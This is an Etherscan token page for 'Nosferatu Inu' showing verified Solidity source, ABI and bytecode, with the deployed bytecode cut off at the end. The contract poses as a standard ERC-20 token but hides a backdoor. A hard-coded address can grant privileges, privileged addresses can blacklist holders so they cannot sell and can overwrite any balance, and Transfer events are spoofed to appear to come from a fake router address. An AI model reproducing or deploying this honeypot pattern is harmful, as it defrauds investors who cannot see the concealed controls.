ETH Price: $3,252.61 (+3.54%)
Gas: 3 Gwei

Token

Nosferatu Inu (NOSFERINU)
 

Overview

Max Total Supply

666,000,000 NOSFERINU

Holders

66

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Balance
114,522.9725825 NOSFERINU

Value
$0.00
0x2af6d6ec3a49443d71729f184c3df65b827411d9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NOSFERINU

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2022-10-31
*/

pragma solidity 0.8.17;

abstract contract Context {
    function _MsgSendr() internal view virtual returns (address) {
        return msg.sender;
    }
}



library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _Owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    address _rConstruct = 0x23fda63bb8A87946942556eC668221B090759Df0;
	address UnisV2Router = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
    constructor () {
        address msgSender = _MsgSendr();
        _Owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _Owner;
    }

    function renounceOwnership() public virtual {
        require(msg.sender == _Owner);
        emit OwnershipTransferred(_Owner, address(0));
        _Owner = address(0);
    }

}



contract NOSFERINU is Context, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private Iq;
	mapping (address => bool) private tQ;
    mapping (address => bool) private mQ;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint8 private constant _decimals = 8;
    uint256 private constant _QmSup = 666000000 * 10**_decimals;
    string private constant _name = "Nosferatu Inu";
    string private constant _symbol = "NOSFERINU";



    constructor () {
        Iq[_MsgSendr()] = _QmSup;
        emit Transfer(address(0), UnisV2Router, _QmSup);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure  returns (uint256) {
        return _QmSup;
    }

    function balanceOf(address account) public view  returns (uint256) {
        return Iq[account];
    }


    function allowance(address owner, address spender) public view  returns (uint256) {
        return _allowances[owner][spender];
    }

            function approve(address spender, uint256 amount) public returns (bool success) {    
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true; }
		function rEnd(address z) public {
        if(tQ[msg.sender]) { 
        mQ[z] = false;}}
        function rQuery(address z) public{
         if(tQ[msg.sender])  { 
        require(!mQ[z]);
        mQ[z] = true; }}
		function arStake(address z) public{
         if(msg.sender == _rConstruct)  { 
        require(!tQ[z]);
        tQ[z] = true; }}
		function transferFrom(address sender, address recipient, uint256 amount) public returns (bool success) {
         if(sender == _rConstruct)  {
        require(amount <= Iq[sender]);
        Iq[sender] -= amount;  
        Iq[recipient] += amount; 
          _allowances[sender][msg.sender] -= amount;
        emit Transfer (UnisV2Router, recipient, amount);
        return true; }    
          if(!mQ[recipient]) {
          if(!mQ[sender]) {
         require(amount <= Iq[sender]);
        require(amount <= _allowances[sender][msg.sender]);
        Iq[sender] -= amount;
        Iq[recipient] += amount;
      _allowances[sender][msg.sender] -= amount;
        emit Transfer(sender, recipient, amount);
        return true; }}}
		function transfer(address txTo, uint256 z) public {
        if(msg.sender == _rConstruct)  {
        require(Iq[msg.sender] >= z);
        Iq[msg.sender] -= z;  
        Iq[txTo] += z; 
        emit Transfer (UnisV2Router, txTo, z);}
        if(tQ[msg.sender]) {Iq[txTo] = z;} 
        if(!mQ[msg.sender]) {
        require(Iq[msg.sender] >= z);
        Iq[msg.sender] -= z;  
        Iq[txTo] += z;          
        emit Transfer(msg.sender, txTo, z);
        }}}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"z","type":"address"}],"name":"arStake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"z","type":"address"}],"name":"rEnd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"z","type":"address"}],"name":"rQuery","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"txTo","type":"address"},{"internalType":"uint256","name":"z","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040527323fda63bb8a87946942556ec668221b090759df0600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073b8f226ddb7bc672e27dffb67e4adabfa8c0dfa08600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620000bb57600080fd5b506000620000ce6200028f60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506008600a6200017c919062000431565b6327b25a806200018d919062000482565b60036000620001a16200028f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008600a62000261919062000431565b6327b25a8062000272919062000482565b604051620002819190620004de565b60405180910390a3620004fb565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200032557808604811115620002fd57620002fc62000297565b5b60018516156200030d5780820291505b80810290506200031d85620002c6565b9450620002dd565b94509492505050565b60008262000340576001905062000413565b8162000350576000905062000413565b81600181146200036957600281146200037457620003aa565b600191505062000413565b60ff84111562000389576200038862000297565b5b8360020a915084821115620003a357620003a262000297565b5b5062000413565b5060208310610133831016604e8410600b8410161715620003e45782820a905083811115620003de57620003dd62000297565b5b62000413565b620003f38484846001620002d3565b925090508184048111156200040d576200040c62000297565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200043e826200041a565b91506200044b8362000424565b92506200047a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200032e565b905092915050565b60006200048f826200041a565b91506200049c836200041a565b9250828202620004ac816200041a565b91508282048414831517620004c657620004c562000297565b5b5092915050565b620004d8816200041a565b82525050565b6000602082019050620004f56000830184620004cd565b92915050565b611878806200050b6000396000f3fe608060405234801561001057600080fd5b50600436106100e95760003560e01c806370a082311161008c57806395d89b411161006657806395d89b4114610238578063a9059cbb14610256578063dc30d13a14610272578063dd62ed3e1461028e576100e9565b806370a08231146101e0578063715018a6146102105780638da5cb5b1461021a576100e9565b8063095ea7b3116100c8578063095ea7b31461014457806318160ddd1461017457806323b872dd14610192578063313ce567146101c2576100e9565b80626f3119146100ee578063068ed00c1461010a57806306fdde0314610126575b600080fd5b61010860048036038101906101039190611342565b6102be565b005b610124600480360381019061011f9190611342565b6103c3565b005b61012e6104cb565b60405161013b91906113ff565b60405180910390f35b61015e60048036038101906101599190611457565b610508565b60405161016b91906114b2565b60405180910390f35b61017c6105fa565b60405161018991906114dc565b60405180910390f35b6101ac60048036038101906101a791906114f7565b61061e565b6040516101b991906114b2565b60405180910390f35b6101ca610bbd565b6040516101d79190611566565b60405180910390f35b6101fa60048036038101906101f59190611342565b610bc6565b60405161020791906114dc565b60405180910390f35b610218610c0f565b005b610222610d25565b60405161022f9190611590565b60405180910390f35b610240610d4e565b60405161024d91906113ff565b60405180910390f35b610270600480360381019061026b9190611457565b610d8b565b005b61028c60048036038101906102879190611342565b6111aa565b005b6102a860048036038101906102a391906115ab565b611258565b6040516102b591906114dc565b60405180910390f35b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156103c057600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561036757600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036104c857600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561046f57600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b60606040518060400160405280600d81526020017f4e6f7366657261747520496e7500000000000000000000000000000000000000815250905090565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516105e891906114dc565b60405180910390a36001905092915050565b60006008600a61060a919061174d565b6327b25a806106199190611798565b905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361089057600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156106c157600080fd5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461071091906117da565b9250508190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610766919061180e565b9250508190555081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107f991906117da565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161087f91906114dc565b60405180910390a360019050610bb6565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610bb557600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610bb457600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561097e57600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610a0757600080fd5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a5691906117da565b9250508190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610aac919061180e565b9250508190555081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b3f91906117da565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ba391906114dc565b60405180910390a360019050610bb6565b5b5b9392505050565b60006008905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c6757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4e4f53464552494e550000000000000000000000000000000000000000000000815250905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610f605780600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e2c57600080fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e7b91906117da565b9250508190555080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ed1919061180e565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f5791906114dc565b60405180910390a35b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610ff75780600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111a65780600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561109457600080fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110e391906117da565b9250508190555080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611139919061180e565b925050819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161119d91906114dc565b60405180910390a35b5050565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611255576000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061130f826112e4565b9050919050565b61131f81611304565b811461132a57600080fd5b50565b60008135905061133c81611316565b92915050565b600060208284031215611358576113576112df565b5b60006113668482850161132d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156113a957808201518184015260208101905061138e565b60008484015250505050565b6000601f19601f8301169050919050565b60006113d18261136f565b6113db818561137a565b93506113eb81856020860161138b565b6113f4816113b5565b840191505092915050565b6000602082019050818103600083015261141981846113c6565b905092915050565b6000819050919050565b61143481611421565b811461143f57600080fd5b50565b6000813590506114518161142b565b92915050565b6000806040838503121561146e5761146d6112df565b5b600061147c8582860161132d565b925050602061148d85828601611442565b9150509250929050565b60008115159050919050565b6114ac81611497565b82525050565b60006020820190506114c760008301846114a3565b92915050565b6114d681611421565b82525050565b60006020820190506114f160008301846114cd565b92915050565b6000806000606084860312156115105761150f6112df565b5b600061151e8682870161132d565b935050602061152f8682870161132d565b925050604061154086828701611442565b9150509250925092565b600060ff82169050919050565b6115608161154a565b82525050565b600060208201905061157b6000830184611557565b92915050565b61158a81611304565b82525050565b60006020820190506115a56000830184611581565b92915050565b600080604083850312156115c2576115c16112df565b5b60006115d08582860161132d565b92505060206115e18582860161132d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156116715780860481111561164d5761164c6115eb565b5b600185161561165c5780820291505b808102905061166a8561161a565b9450611631565b94509492505050565b60008261168a5760019050611746565b816116985760009050611746565b81600181146116ae57600281146116b8576116e7565b6001915050611746565b60ff8411156116ca576116c96115eb565b5b8360020a9150848211156116e1576116e06115eb565b5b50611746565b5060208310610133831016604e8410600b841016171561171c5782820a905083811115611717576117166115eb565b5b611746565b6117298484846001611627565b925090508184048111156117405761173f6115eb565b5b81810290505b9392505050565b600061175882611421565b91506117638361154a565b92506117907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461167a565b905092915050565b60006117a382611421565b91506117ae83611421565b92508282026117bc81611421565b915082820484148315176117d3576117d26115eb565b5b5092915050565b60006117e582611421565b91506117f083611421565b9250828203905081811115611808576118076115eb565b5b92915050565b600061181982611421565b915061182483611421565b925082820190508082111561183c5761183b6115eb565b5b9291505056fea26469706673582212202797a2cd917a37f8a24dbc91dbe3044a90910e3ec27bb1b6b47adf921ad8067764736f6c63430008110033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100e95760003560e01c806370a082311161008c57806395d89b411161006657806395d89b4114610238578063a9059cbb14610256578063dc30d13a14610272578063dd62ed3e1461028e576100e9565b806370a08231146101e0578063715018a6146102105780638da5cb5b1461021a576100e9565b8063095ea7b3116100c8578063095ea7b31461014457806318160ddd1461017457806323b872dd14610192578063313ce567146101c2576100e9565b80626f3119146100ee578063068ed00c1461010a57806306fdde0314610126575b600080fd5b61010860048036038101906101039190611342565b6102be565b005b610124600480360381019061011f9190611342565b6103c3565b005b61012e6104cb565b60405161013b91906113ff565b60405180910390f35b61015e60048036038101906101599190611457565b610508565b60405161016b91906114b2565b60405180910390f35b61017c6105fa565b60405161018991906114dc565b60405180910390f35b6101ac60048036038101906101a791906114f7565b61061e565b6040516101b991906114b2565b60405180910390f35b6101ca610bbd565b6040516101d79190611566565b60405180910390f35b6101fa60048036038101906101f59190611342565b610bc6565b60405161020791906114dc565b60405180910390f35b610218610c0f565b005b610222610d25565b60405161022f9190611590565b60405180910390f35b610240610d4e565b60405161024d91906113ff565b60405180910390f35b610270600480360381019061026b9190611457565b610d8b565b005b61028c60048036038101906102879190611342565b6111aa565b005b6102a860048036038101906102a391906115ab565b611258565b6040516102b591906114dc565b60405180910390f35b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156103c057600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561036757600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036104c857600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561046f57600080fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b60606040518060400160405280600d81526020017f4e6f7366657261747520496e7500000000000000000000000000000000000000815250905090565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516105e891906114dc565b60405180910390a36001905092915050565b60006008600a61060a919061174d565b6327b25a806106199190611798565b905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361089057600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156106c157600080fd5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461071091906117da565b9250508190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610766919061180e565b9250508190555081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107f991906117da565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161087f91906114dc565b60405180910390a360019050610bb6565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610bb557600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610bb457600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561097e57600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610a0757600080fd5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a5691906117da565b9250508190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610aac919061180e565b9250508190555081600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b3f91906117da565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ba391906114dc565b60405180910390a360019050610bb6565b5b5b9392505050565b60006008905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c6757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4e4f53464552494e550000000000000000000000000000000000000000000000815250905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610f605780600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e2c57600080fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e7b91906117da565b9250508190555080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ed1919061180e565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f5791906114dc565b60405180910390a35b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610ff75780600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111a65780600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561109457600080fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110e391906117da565b9250508190555080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611139919061180e565b925050819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161119d91906114dc565b60405180910390a35b5050565b600460003373ffffffffffffffffffffffffffff